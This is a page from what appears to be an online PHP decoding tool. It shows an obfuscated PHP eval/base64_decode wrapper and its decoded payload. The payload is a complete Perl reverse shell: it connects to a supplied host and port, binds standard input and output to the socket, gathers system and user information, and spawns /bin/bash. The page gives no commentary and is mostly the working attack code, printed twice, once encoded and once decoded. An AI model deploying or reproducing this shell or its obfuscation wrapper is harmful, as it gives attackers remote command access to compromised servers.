Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php eval("?>".base64_decode("IyEvdXNyL2Jpbi9wZXJsDQp1c2UgSU86OlNvY2tldDsNCiRzeXN0ZW0gICA..
Decoded Output download
?>b'#!/usr/bin/perl
use IO::Socket;
$system = \'/bin/bash\';
$ARGC=@ARGV;
if ($ARGC!=2) {
print "Usage: $0 [Host] [Port]
";
die "Ex: $0 127.0.0.1 2121
";
}
use Socket;
use FileHandle;
socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname(\'tcp\')) or die print "[-] Unable to Resolve Host
";
connect(SOCKET, sockaddr_in($ARGV[1], inet_aton($ARGV[0]))) or die print "[-] Unable to Connect Host
";
print "[*] Resolving HostName
";
print "[*] Connecting... $ARGV[0]
";
print "[*] Spawning Shell
";
print "[*] Connected to remote host
";
SOCKET->autoflush();
open(STDIN, ">&SOCKET");
open(STDOUT,">&SOCKET");
open(STDERR,">&SOCKET");
print "============================================================
";
print "--------------------------E Shell-------------------------
";
print "-----------------------Coded By Arjun---------------------
";
print "============================================================
";
system("echo --==Systeminfo==--; uname -a;echo;
echo --==Userinfo==--; id;echo;echo --==Directory==--; pwd;echo; echo --==Shell==-- ");
system($system);
#EOF'
Did this file decode correctly?
Original Code
<?php eval("?>".base64_decode("IyEvdXNyL2Jpbi9wZXJsDQp1c2UgSU86OlNvY2tldDsNCiRzeXN0ZW0gICAgPSAnL2Jpbi9iYXNoJzsNCiRBUkdDPUBBUkdWOyANCmlmICgkQVJHQyE9MikgeyANCiAgIHByaW50ICJVc2FnZTogJDAgW0hvc3RdIFtQb3J0XSBcblxuIjsgDQogICBkaWUgIkV4OiAkMCAxMjcuMC4wLjEgMjEyMSBcbiI7IA0KfSANCnVzZSBTb2NrZXQ7IA0KdXNlIEZpbGVIYW5kbGU7IA0Kc29ja2V0KFNPQ0tFVCwgUEZfSU5FVCwgU09DS19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSkgb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IA0Kc3lzdGVtKCRzeXN0ZW0pOw0KI0VPRg==")); ?>
Function Calls
base64_decode | 1 |
Stats
MD5 | ac0a94b439eb9126c4018b501a970765 |
Eval Count | 1 |
Decode Time | 86 ms |